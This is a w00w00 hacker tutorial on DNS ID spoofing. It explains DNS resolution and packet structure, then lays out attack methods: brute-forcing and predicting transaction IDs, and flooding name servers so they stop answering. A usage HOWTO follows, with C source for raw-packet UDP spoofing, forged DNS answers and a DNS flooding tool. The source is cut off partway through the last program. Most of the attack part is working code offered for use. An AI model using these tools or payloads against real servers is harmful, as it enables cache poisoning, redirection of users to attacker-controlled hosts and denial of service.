DNS ID Hacking -------------- Brought to you by: Raw-Powa and w00w00 Security Development (WSD) --[1]-- DNS ID Hacking Presentation w00w00! Hi. You might be wondering what DNS ID Hacking (or Spoofing) is. DNS ID Hacking isn't the usual way of hacking/spoofing (such jizz or any-erect). This method is based on a vulnerability on DNS Protocol. This affects several DNS implementations (including WinNT's DNS and BIND, for example). --[1.1]-- DNS Protocol Mechanism For the first step, you will need to know how the DNS works. We will only explain the most important parts of this protocol. In order to do that, we will follow the steps of a DNS request packet from A to Z! 1: The client (bla.bibi.com) sends a request of resolution from the domain "www.heike.com". To resolve the name, bla.bibi.com uses "ns.bibi.com" for DNS. Let's take a look at the following diagram: /----------------------------------\ | 111.1.2.123 = bla.bibi.com | | 111.1.2.222 = ns.bibi.com | | format: | | IP_ADDR:PORT->IP_ADDR:PORT | | ex: | | 111.1.2.123:2999->111.1.2.222:53 | \----------------------------------/ ... gethostbyname("www.heike.com"); ... [bla.bibi.com] [ns.bibi.com] 111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53 Here we see our resolution name request from source port 1999, requesting the resolution from the DNS on port 53. [note: The DNS is always on port 53] Now that ns.bibi.com has received the resolution request from bla.bibi.com, ns.bibi.com will have to resolve the name, let's look at it... [ns.bibi.com] [ns.internic.net] 111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53 ns.bibi.com asks ns.internic.net, which is the root name server, for the address of www.heike.com, and if it doesn't have it and sends the request to a name server which has authority over '.com' domains. >>> it can have the NS record for heike.com, and not the A/CNAME for >>> www.heike.com (this is the normal case). Also, you're not asking >>> ns.internic.net, you're asking one of the root servers for >>> COM directly. [note: We ask to internic because it could have this request in its cache] [ns.internic.net] [ns.bibi.com] 198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53 Here we can see that ns.internic.net answered to ns.bibi.com (which is the NS that has authority over the domain bibi.com) with the name server of for.com (which is the authority over '.com' domains), which has the IP address 144.44.44.4 [let's call it ns.for.com]. Now our ns.bibi.com will ask ns.for.com for the address of www.heike.com, but this one doesn't have it, so it will forward the request to the DNS of heike.com which has authority over heike.com as shown here: [ns.bibi.com] [ns.for.com] 111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53 The answer from ns.for.com is: [ns.for.com] [ns.bibi.com] 144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53 Now that we know which IP address has authority on the domain "heike.com" [we'll call it ns.heike.com], we ask it what the IP address of the machine www (www.heike.com) is: [ns.bibi.com] [ns.heike.com] 111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53 And now at least, we have our answer: [ns.heike.com] [ns.bibi.com] 31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53 We can now forward it to our client bla.bibi.com: [ns.bibi.com] [bla.bibi.com] 111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999 Now bla.bibi.com knows the IP address of www.heike.com :) So.. now let's imagine the opposite; that we'd like to have the name of a machine from its IP address. In order to do that, the way to proceed will be a little different because the IP address will have to be transformed: Example: 100.20.40.3 will become 3.40.20.100.in-addr.arpa Attention!! This method is only for the IP resolution request (reverse DNS) So let's look at practical example when we take the IP of www.heike.com (31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation into a comprehensible format for the DNS). ... gethostbyaddr("31.33.7.44"); ... We send our request to ns.bibi.com (our name server): [bla.bibi.com] [ns.bibi.com] 111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53 ns.bibi.com sends the request for the name of machine that is 44.7.33.31.in-addr.arpa to ns.internic.net: [ns.bibi.com] [ns.internic.net] 111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53 ns.internic.net will send the IP address of a name server which has authority on '31.in-addr.arpa': [ns.internic.net] [ns.bibi.com] 198.41.0.4:53 --> [NS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53 Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4: [ns.bibi.com] [ns.for.com] 111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53 And so on... In fact the mechanism is almost identical to the one used for name resolution. I hope you understood the dialog on how DNS works. Now let's study DNS messages format. --[1.2]-- DNS packet Here is the format of a DNS message : +---------------------------+---------------------------+ | ID (the famous :) | flags | +---------------------------+---------------------------+ | numbers of questions | numbers of answer | +---------------------------+---------------------------+ | number of RR authority |number of supplementary RR | +---------------------------+---------------------------+ | | \ \ \ QUESTION \ | | +-------------------------------------------------------+ | | \ \ \ ANSWER \ | | +-------------------------------------------------------+ | | \ \ \ Stuff etc.. No matter \ | | +-------------------------------------------------------+ --[1.3]-- Structure of DNS packets. __ID__ The ID is to identify each DNS packet, since exchanges between name servers are from port 53 to port 53, and it receive more than one >>> not necessarilly; DNS is allowed to bind any client port, and the >>> DNS ID is also needed for asynchronous client resolvers (which >>> might need to make more than one simultaneous query) request at a time, so the ID is the only way to recognize the different DNS requests. We'll talk about it a little more later.. __flags__ The flags area is divided into several parts: 4 bits 3 bits (always 0) | | | | [QR | opcode | AA| TC| RD| RA | zero | rcode ] | | |__|__|__| |______ 4 bits | |_ 1 bit | 1 bit QR = If the QR bit is 0, it means that the packet is a question, otherwise it's an answer. opcode = If the value is 0 for a normal request, 1 for a reserve request, and 2 for a status request (we don't need to know all these modes). AA = If it is equal to 1, it says that the name server has an authoritative answer. TC = This is unimportant. RD = If this flag is to 1, it means "Recursion Request", for example when bla.bibi.com asks ns.bibi.com to resolve the name, the flag tells the DNS to assume this request. RA = If this is set to 1, it means that recursion is available. This bit is set to 1 in the answer of the name server if it supports recursion. Zero = Here are three zeroes... rcode = It contains the error messages returned from DNS requests. If 0, it means "no error", 3 means "name error" The 2 following flags don't have any importance to us. DNS QUESTION: Here is the format of a DNS question : +-----------------------------------------------------------------------+ | name of the question | +-----------------------------------------------------------------------+ | type of question | type of query | +--------------------------------+--------------------------------------+ The structure of the question is like this. Example: www.heike.com is [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] This is always the same for an IP address. This splits www.heike.com into three parts: "www", "heike", and "com". The number in front of each part specifies the length. It is also terminated by 0. 44.33.88.123.in-addr.arpa would be: [2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0] [note]: a compression format exists, but we won't use it. type of question: Here are the values that we will use most of the time: [note]: There are more than 20 types of different values(!) and I'm fed up with writing :)) name value A | 1 | IP Address (for resolving a name to an IP) PTR | 12 | Pointer (for resolving an IP to a name) type of query: The values are the same as the type of question's values (I'm not sure it's true, but you should look through RFCs 1033-1035 and 1037). DNS ANSWER: The answers have a format that we call RR. Here is the format of an answer (an RR): +------------------------------------------------------------------------+ | name of the domain | +------------------------------------------------------------------------+ | type | class | +----------------------------------+-------------------------------------+ | TTL (time to live) | +------------------------------------------------------------------------+ | resource data length | | |----------------------------+ | | resource data | +------------------------------------------------------------------------- name of the domain: The domain name is stored in the same way that the question for the resolution request of www.heike.com. The flag "name of the domain" will contain: [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]. type: The type flag is the same than "type of query" in the question part of the packet. class: The class flag is equal to 1 for Internet data. time to live: This flag explains in seconds the time-life of the informations into the name server cache. resource data length: The length of resource data, for example if resource data length is 4, it means that the data in resources data are 4 bytes long. resource data: here we put the IP for example (at least in our case) As an example, this is what occurs when ns.bibi.com asks ns.heike.com for www.heike.com's address: ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 +---------------------------------+--------------------------------------+ | ID = 1999 | QR = 0 opcode = 0 RD = 1 | +---------------------------------+--------------------------------------+ | numbers of questions = htons(1) | numbers of answers = 0 | +---------------------------------+--------------------------------------+ | number of RR authoritative = 0 | number of supplementary RR = 0 | +---------------------------------+--------------------------------------+ +------------------------------------------------------------------------+ | name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] | +------------------------------------------------------------------------+ | type of question = htons(1) | type of query=htons(1) | +---------------------------------+--------------------------------------+ Now let's look at the answer from ns.heike.com: ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53 +---------------------------------+---------------------------------------+ | ID = 1999 | QR=1 opcode=0 RD=1 AA =1 RA=1 | +---------------------------------+---------------------------------------+ | numbers of questions = htons(1) | numbers of answers = htons(1) | +---------------------------------+---------------------------------------+ | number of RR authoritative = 0 | number of supplementary RR = 0 | +---------------------------------+---------------------------------------+ +-------------------------------------------------------------------------+ | name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] | +-------------------------------------------------------------------------+ | type of question = htons(1) | type of query = htons(1) | +-------------------------------------------------------------------------+ +-------------------------------------------------------------------------+ | name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] | +-------------------------------------------------------------------------+ | type = htons(1) | class = htons(1) | +-------------------------------------------------------------------------+ | time to live = 999999 | +-------------------------------------------------------------------------+ | resource data length = htons(4) | resource data=inet_addr("31.33.7.44") | +-------------------------------------------------------------------------+ Yah! That's all for now :)) Here is an analysis: In the answer QR = 1 because it's an answer :) AA = 1 because the name server has authority in its domain RA = 1 because recursion is available I hope you understood that because you will need it for the following events. --[2.0]-- DNS ID hack/spoof Now it's time to clearly explain what DNS ID hacking/spoofing is. Like we explained before, the only way for the DNS to recognize the different questions/answers is the ID flag in the packet. Look at this example: ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53 So you only have to spoof the ip of ns.heike.com and answer your false information before ns.heike.com does first! ns.bibi.com <------- . . . . . . . . . . . ns.heike.com | |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com But in practice you have to guess the good ID. If you are on a LAN, you can sniff to get this ID and answer before the name server (it's easy on a Local Network :) If you want to do this remotely you don't have a lot a choices, but you do have 4 basic methods: 1.) Randomly test all the possible values of the ID flag. You must answer before the NS (ns.heike.com in this example)! This method is obsolete unless you want to know the ID or any other favorable condition to its prediction. >>> This method is not obsolete --- it's how real attacks work. It takes less than a minute on a DS1 to exhaustively search all the ID's, and if you flood (or crash) the authority servers for the resource record you're trying to inject, you have all the time in the world to do it. This is the problem that the current DNS protocol can't fix. 2.) Send some DNS requests (200 or 300) in order to increase the chances of falling on the good ID. >>> This is analogous to using 200 or 300 responses (both consume ID space), except that naieve DNS servers might not detect 300 queries, even if they do detect 300 wrong answers. 3.) Flood the DNS in order to avoid its work. The name server will crash and show the following error! >> Oct 06 05:18:12 w00w00 named[1913]: db_free: DB_F_ACTIVE set - ABORT at this time named is out of order :) 4.) Or you can use the vulnerability in BIND discovered by SNI (Secure Networks, Inc.) with ID prediction (we will discuss this in a bit). ##################### Windows ID Vulnerability ########################### I haven't tested this on WinNT, but Windows ID's are extremely easy to predict because it is '1' by default, and '2' for the second question (if they are 2 questions at the same time). ######################## BIND Vulnerability ############################## There is a vulnerability in BIND (discovered by SNI as stated earlier) >>> we didn't discover this; it's old news. We released an advisory on >>> how much easier it is to exploit than the old papers let on. that we will be using. In fact, DNS IDs are easily predictable; you only have to sniff a DNS in order to do what you want. Let me explain... The DNS uses a random ID at the beginning but it only increases this ID for the next question. It's easy to exploit this vulnerability. Here is the way: 1. Be able to sniff easily the messages that comes to a random DNS (ex. ns.dede.com for this sample). 2. You ask NS.victim.com to resolve .dede.com, and NS.victim.com will ask ns.dede.com to resolve .dede.com ns.victim.com ---> [?.dede.com ID = 444] ---> ns.dede.com 3. Now we have the ID of the message from NS.victim.com, now you know what ID area you'll have to use. (ID = 444 in this sample). 4. You then make your resolution request. ex. www.microsoft.com to NS.victim.com (you) ---> [?www.microsoft.com] ---> ns.victim.com ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com 5. Flood the name server ns.victim.com with the ID (444) you already have and then you increase this by one. ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com Now you know that DNS IDs are predictable, and they only increase. You flood ns.victim.com with spoofed answers with the ID 444+ ;) >>> That's not true on OpenBSD (random scoreboarded IDs). [Note: WSDspoofID does this] There is another way to exploit this vulnerability without a root on any NS. The mechanism is very simple. Here is the explanation: We send to ns.victim.com a resolution request for *.provnet.fr (you) ----------[?(random).provnet.fr] -------> ns.victim.com Then, ns.victim.com asks ns1.provnet.fr to resolve .provnet.fr. There is nothing new here, but this is where the interesting part begins here. At this point you begin to flood ns.victim.com with spoofed answers (with ns1.provnet.fr IP) with IDSs from 100 to 110: (spoof) ----[.provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com (spoof) ----[.provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com (spoof) ----[.provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com (spoof) ----[.provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com ... After that, we ask ns.victim.com if .provnet.fr has an IP address. If ns.victim.com give us an IP address for .provnet.fr then we have found the correct! Otherwise, we have to repeat this attack until we find the ID. It's a bit long but it's effective. [Note: This is how WSD-IDpred works] ########################################################################## Here you will find 5 programs WSDkillDNS - very simple DNS spoofer WSDsniffID - sniff a LAN and reply false DNS answers before the NS WSDspoofID - a DNS ID spoofer (you'll need to be root on a NS) WSD-IDpred - a DNS ID predictor (no need to be root on a NS) WSD-baddns - a very simple denial of service attack to disable DNS Note: You can find source and binaries of these programs at ftp.w00w00.org/pub/DNS. You need to install libpcap on your machine before any compilation of the w00w00 ID programs. - w00w00 Security Development (WSD) See http://www.w00w00.org and ftp://ftp.w00w00.org/pub Thanks to: pirus, Heike, and all of w00w00 Security Development (WSD), and Asriel. Special Thanks to: ackboo and Secure Networks, Inc. (SNI) at www.secnet.com for finding the vulnerability. /* I'm a w00w00ify'd w00c0w */ Here is a HOWTO on the w00w00 ID tools: ----[HOWTO]---- I've decided to make a little HOWTO because the w00w00 ID tools are not very user friendly for a beginner :) 1: WSD-baddns WSD-baddns is a program to destroy the DNS. It's very, very simple to use !!! :) /* I'm a w00w00ify'd w00c0w */ Usage: WSD-baddns Example: WSD-baddns bob.lenet.fr 2: WSDsniffID WSDsniffID is a DNS hijacker. You need to have root privileges. It's for a LAN only :) Usage: WSDsniffID [type 1 or 12 ] '' by type we mean 1 = TYPE A 12 = TYPE PTR '' Example: WSDsniffID eth0 31.3.3.7 www.i.m.mucho.horny.ya 12 (We are hijacking a PTR) So now if someone runs "nslookup " on a network they have: [root@w00w00 w0w0w]# nslookup 1.2.3.4 Server: localhost Address: 127.0.0.1 Name: www.i.m.mucho.horny.ya Address: 1.2.3.4 3: --= WSDspoofID =-- 1) Before you need root on a NS with AUTH over a domain (for example shok.janova.org has authority over *.janova.org) WSDspoofID is a DNS ID predictor (but you need to have root on a NS or you need to the privileges to sniff the NS) Usage: WSDspoofID Example: WSDspoofID ppp0 NS2.MCI.NET janova.org shok.janova.org 12 www.i.m.ereet.ya 194.206.23.123 ns2.provnet.fr .. Well after that when you ask NS2.MCI.NET for 194.206.23.123 you have: [root@w00w00 w0w0w]# nslookup 194.206.23.123 ns2.mci.net Server: ns2.mci.net Address: 204.70.57.242 Name: www.i.m.ereet.ya Address: 194.206.23.123 [root@w00w00 w0w0w]# We will use ns2.provnet.fr because ns2.provnet.fr has AUTH on 194.206.23.* To find out who has AUTH on 194.206.23.*, you just need to do the following: [root@w00w00 w0w0w]# host -t NS 23.206.194.in-addr.arpa 23.206.194.in-addr.arpa name server NS2.PROVNET.FR 23.206.194.in-addr.arpa name server BOW.RAIN.FR 23.206.194.in-addr.arpa name server NS1.PROVNET.FR [root@w00w00 w0w0w]# To find out the NS who haas AUTH on, for example, *.provnet.fr: [root@w00w00 w0w0w]# host -t NS provnet.fr provnet.fr name server NS1.provnet.fr provnet.fr name server BOW.RAIN.fr provnet.fr name server NS2.provnet.fr [root@w00w00 w0w0w]# Note: The entry can change!!! You can get NS1 first. Here is the source... to our programs ----[ BUGS ]---- 1: The bit field on Solaris causes a bus error.. We will fix it soon ----[END of BUGS ]---- ----[WSD-spoof.c]---- /* ******************************************************************** */ /* w00w00 functions for spoofing UDP */ /* ------------------------------------------------------------------- */ /* w00w00 Security Development (WSD) */ /* Email: WSD@w00w00.org */ /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */ /* ******************************************************************** */ #include #include #include #include #include #include #include #include #include #include #include #include #include "ip.h" #include "udp.h" #define IPHDRSIZE sizeof(struct iphdr) #define UDPHDRSIZE sizeof(struct udphdr) /*****************************************************************************/ /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ /*****************************************************************************/ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } int udp_send(s, saddr, daddr, sport, dport, datagram, datasize) int s; unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; char *datagram; unsigned datasize; { int x; unsigned char *data; unsigned char packet[4024]; struct iphdr *ip; struct udphdr *udp; struct sockaddr_in sin; ip = (struct iphdr *)packet; udp = (struct udphdr *)(packet+IPHDRSIZE); data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE); memset(packet, 0, sizeof(packet)); udp->source = htons(sport); udp->dest = htons(dport); udp->len = htons(UDPHDRSIZE+datasize); udp->check = 0; memcpy(data, datagram, datasize); memset(packet, 0, IPHDRSIZE); ip->saddr.s_addr = saddr; ip->daddr.s_addr = daddr; ip->version = 4; ip->ihl = 5; ip->ttl = 245; ip->id = random() % 5985 + 1; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(IPHDRSIZE + UDPHDRSIZE + datasize); ip->check = 0; ip->check = in_cksum((char *)packet, IPHDRSIZE); sin.sin_family = AF_INET; sin.sin_addr.s_addr=daddr; sin.sin_port = udp->dest; x = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, (struct sockaddr*)&sin, sizeof(struct sockaddr)); return(x); } /*****************************************************************************/ /* RECV PAKET */ /* get_pkt(socket, *buffer, size of the buffer); */ /*****************************************************************************/ int get_pkt(s, data, size) int s; unsigned char *data; int size; { struct sockaddr_in sin; int len, resu; len = sizeof(sin); resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len); return resu; } ----[END of WSD-spoof.c]---- ----[WSD-DNS2.c]---- /* ****************************************************** */ /* w00w00 code for DNS packets Super Raw */ /* ------------------------------------------------------ */ /* w00w00 Security Development (WSD) */ /* Email: WSD@w00w00.org */ /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */ /* ****************************************************** */ #define ERROR -1 #define TYPE_A 1 #define TYPE_PTR 12 #define MAXLEN 64 #define DNSHDRSIZE 12 int myrand() { int j = 1 + (int)(150.0 * rand() / (RAND_MAX + 1.0)); return(j); } unsigned long host2ip(char *serv) { struct hostent *hent; struct sockaddr_in sinn; hent = gethostbyname(serv); if (hent == NULL) { herror("gethostbyname"); exit(ERROR); } bzero((char *)&sinn, sizeof(sinn)); bcopy(hent->h_addr, (char *)&sinn.sin_addr, hent->h_length); return sinn.sin_addr.s_addr; } void nameformat(char *name, char *qs) { int i; int a = 0; char lol[3000]; char tmp[2550], tmp2[2550]; if (strlen(name) > sizeof(tmp) - 1) { fprintf(stderr, "nameformat(): name too long: %s\n", name); exit(ERROR); } bzero(lol, sizeof(lol)); bzero(tmp, sizeof(tmp)); bzero(tmp2, sizeof(tmp2)); for (i = 0; i < strlen(name); i++) { if (*(name+i) == '.') { sprintf(tmp2, "%c%s", a, tmp); strcat(lol, tmp2); bzero(tmp, sizeof(tmp)); bzero(tmp2, sizeof(tmp2)); a = 0; } else tmp[a++] = *(name+i); } sprintf(tmp2, "%c%s", a, tmp); strcat(lol, tmp2); strcpy(qs, lol); } void nameformatIP(char *ip, char *resu) { int i, a = 3, k = 0; char c; char *A[4]; char nameform[256]; char tmp[256], tmp1[256]; char *arpa = "in-addr.arpa"; if (strlen(ip) > sizeof(nameform) - 1) { fprintf(stderr, "nameformatIP(): name too long: %s\n", ip); exit(ERROR); } bzero(tmp, sizeof(tmp)); bzero(tmp1, sizeof(tmp1)); bzero(nameform, sizeof(nameform)); for (i = 0; i < 4; i++) { A[i] = (char *)malloc(4); if (A[i] == NULL) { perror("malloc"); exit(ERROR); } bzero(A[i], 4); } bzero(tmp, sizeof(tmp)); bzero(tmp1, sizeof(tmp1)); for (i = 0; i < strlen(ip); i++) { c = ip[i]; if (c == '.') { strcat(A[a], tmp); a--; k = 0; bzero(tmp, sizeof(tmp)); } else tmp[k++] = c; } strcat(A[a], tmp); for (i = 0; i < 4; i++) { strcat(tmp1, A[i]); strcat(tmp1, "."); } strcat(tmp1, arpa); nameformat(tmp1, nameform); strcpy(resu, nameform); } int makepacketQS(char *data, char *name, int type) { if (type == TYPE_A) { nameformat(name, data); *((u_short *) (data+strlen(data)+1)) = htons(TYPE_A); } if (type == TYPE_PTR) { nameformatIP(name,data); *((u_short *) (data+strlen(data)+1)) = htons(TYPE_PTR); } *((u_short *) (data+strlen(data)+3)) = htons(1); return(strlen(data)+5); } int makepacketAW(char *data, char *name, char *ip, int type) { int i; char tmp[2550]; bzero(tmp, sizeof(tmp)); if (type == TYPE_A) { nameformat(name, data); *((u_short *) (data+strlen(data)+1)) = htons(1); *((u_short *) (data+strlen(data)+3)) = htons(1); i = strlen(data)+5; strncpy(data+i, data, MAXLEN); i = i+strlen(data)+1; *((u_short *) (data+i)) = htons(TYPE_A); *((u_short *) (data+i+2)) = htons(1); *((u_long *) (data+i+4)) = 9999999; *((u_short *) (data+i+8)) = htons(4); *((u_long *) (data+i+10)) = host2ip(ip); return(i+14); } if (type == TYPE_PTR) { nameformat(name, tmp); nameformatIP(ip, data); *((u_short *) (data+strlen(data)+1)) = htons(TYPE_PTR); *((u_short *) (data+strlen(data)+3)) = htons(1); i = strlen(data)+5; strncpy((data+i), data, MAXLEN); i = (i+strlen(data)+1); *((u_short *) (data+i)) = htons(TYPE_PTR); *((u_short *) (data+i+2)) = htons(1); *((u_long *) (data+i+4)) = 9999999; *((u_short *) (data+i+8)) = htons(strlen(tmp)+1); strncpy((data+i+10), tmp, MAXLEN); return(i+10+strlen(tmp)+1); } /* You were only supposed to use type A or PTR! Bad people. */ return(ERROR); } void sendquestion(u_long s_ip, u_long d_ip,char *name,int type) { int i; int on=1; int sraw; char *data; char buff[1024]; struct dnshdr *dns; sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR) { perror("setsockopt"); exit(ERROR); } dns = (struct dnshdr *) buff; data = (char *)(buff+DNSHDRSIZE); bzero(buff, sizeof(buff)); dns->id = 6000+myrand(); dns->qr = 0; dns->rd = 1; dns->aa = 0; dns->que_num = htons(1); dns->rep_num = htons(0); i = makepacketQS(data, name, type); udp_send(sraw, s_ip, d_ip, 1200+myrand, 53, buff, DNSHDRSIZE+i); close(sraw); } void sendanswer(s_ip, d_ip, name, spoofip, ID, type) u_long s_ip; u_long d_ip; char *name; char *spoofip; int ID; int type; { int i; int on=1; int sraw; char *data; char buff[1024]; struct dnshdr *dns; sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR) { perror("setsockopt"); exit(ERROR); } dns = (struct dnshdr *) buff; data = (char *)(buff+DNSHDRSIZE); bzero(buff, sizeof(buff)); dns->id = htons(ID); dns->qr = 1; dns->rd = 1; dns->aa = 1; dns->que_num = htons(1); dns->rep_num = htons(1); i = makepacketAW(data, name, spoofip, type); udp_send(sraw, s_ip, d_ip, 53, 53, buff, DNSHDRSIZE+i); close(sraw); } void dnsspoof(dnstrust, victim, spoofname, spoofip, ID, type) char *dnstrust; char *victim; char *spoofname; char *spoofip; int ID; int type; { int loop, rere; u_long fakeip, trustip, victimip; char *data; char buff[1024]; struct dnshdr *dns; dns = (struct dnshdr *)buff; data = (char *)(buff+DNSHDRSIZE); trustip = host2ip(dnstrust); victimip = host2ip(victim); fakeip = host2ip("12.1.1.0"); /* send question ... */ if (type == TYPE_PTR) for (loop = 0; loop < 4; loop++) sendquestion(fakeip, victimip, spoofip, type); if (type == TYPE_A) for (loop = 0; loop < 4; loop++) sendquestion(fakeip, victimip, spoofname, type); /* Answer quickly! */ for (rere = 0; rere < 2; rere++) for (loop = 0; loop < 80; loop++) { printf("trustip: %s, vitcimip: %s, spoofname: %s, spoofip: %s," "ID: %i, type: %i\n", dnstrust, victim, spoofname, spoofip, ID+loop, type); sendanswer(trustip, victimip, spoofname, spoofip, ID+loop, type); } } ----[END of WSD-DNS2.c]---- ----[WSD-baddns.c ]---- /* ******************************************************* */ /* w00w00 DNS attack (Denial of Service) */ /* w00w00 Security Development (WSD) */ /* ------------------------------------------------------- */ /* Email: WSD@w00w00.org */ /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */ /* ******************************************************* */ #include "WSD-spoof.c" #include "dns.h" #include "WSD-DNS2.c" #define ERROR -1 #define VERSION "v0.2" #define DNSHDRSIZE 12 void main(int argc, char **argv) { int sraw, on = 1; unsigned long s_ip, d_ip; char *data; char buf[4000]; unsigned char names[255]; struct dnshdr *dns; printf("w00w00!\n"); if (argc < 2) { printf("Usage: %s \n", argv[0]); printf("w00w00 DNS Attack - WSD@w00w00.org\n"); exit(0); } dns = (struct dnshdr *)buf; data = (char *)(buf+12); bzero(buf, sizeof(buf)); sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR) { perror("setsockopt"); exit(ERROR); } printf("WSD-baddns %s: DNS attack - w00w00 Security Development (WSD)\n", VERSION); sleep(1); s_ip = host2ip("100.1.2.3"); d_ip = host2ip(argv[1]); dns->id = 123; dns->rd = 1; dns->que_num = htons(1); while(1) { sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa", myrand(), myrand(), myrand(), myrand()); printf("%s\n", names); strcpy(data, names); *((u_short *) (data+strlen(names)+1)) = ntohs(12); *((u_short *) (data+strlen(names)+3)) = ntohs(1); udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buf, 14+strlen(names)+5); s_ip = ntohl(s_ip); s_ip++; s_ip = htonl(s_ip); } } ----[END of WSD-baddns.c]---- ----[WSDkillDNS.c ]---- /* *********************************************** */ /* w00w00 DNS Killer (Brutal attack) */ /* ----------------------------------------------- */ /* Email: WSD@w00w00.org */ /* WWW: http://www.w00w00.org */ /* FTP: ftp://ftp.w00w00.org/pub */ /* *********************************************** */ #include "WSD-spoof.c" #include "dns.h" #include "WSD-DNS2.c" #define ERROR -1 #define ID_START 1 #define ID_STOP 65535 #define VERSION "v0.3" #define PORT_START 53 #define PORT_STOP 54 void main(int argc, char **argv) { struct dnshdr *dns; char *data; char buffer2[4000]; unsigned char names[255]; unsigned long s_ip, s_ip2; unsigned long d_ip, d_ip2; int sraw, i, on=1, x, loop; int idstart, idstop, portstart, portstop; printf("w00w00!\n"); printf("w00w00 Security Development (WSD)\n"); printf("WSD@w00w00.org\n"); if (argc < 5) { system("/usr/bin/clear"); printf("w00w00!\n"); printf("w00w00 Security Development (WSD)\n"); printf("WSD@w00w00.org\n\n"); printf(" Usage : %s \n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]); printf(" ip src: ip source of the dns anwser\n"); printf(" ip dst: ip of the dns victim\n"); printf(" name : spoof name i.e.: www.dede.com\n"); printf(" ip : the ip associated with the name\n"); printf(" options:\n"); printf(" [A,B,N]...\n"); printf(" A: flood the DNS victim with multiple queries\n"); printf(" B: DoS attack to crash the DNS\n"); printf(" N: No attacks\n\n"); printf(" [ID_START] \n"); printf(" ID_START: id start :> \n\n"); printf(" [ID_STOP] n"); printf(" ID_STOP : id stop :> \n\n"); printf(" PORT START, PORT STOP: send the spoof to the portstart at portstop\n\n"); exit(ERROR); } dns = (struct dnshdr *)buffer2; data = (char *)(buffer2+DNSHDRSIZE); bzero(buffer2, sizeof(buffer2)); sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt"); exit(ERROR); } printf("WSDkillDNS %s \n", VERSION); s_ip2 = s_ip = host2ip(argv[1]); d_ip2 = d_ip = host2ip(argv[2]); if (argc > 5) if (*argv[5]=='A') for (loop=0; loop < 10; loop++) { dns->id = 6000+loop; dns->qr = 0; dns->rd = 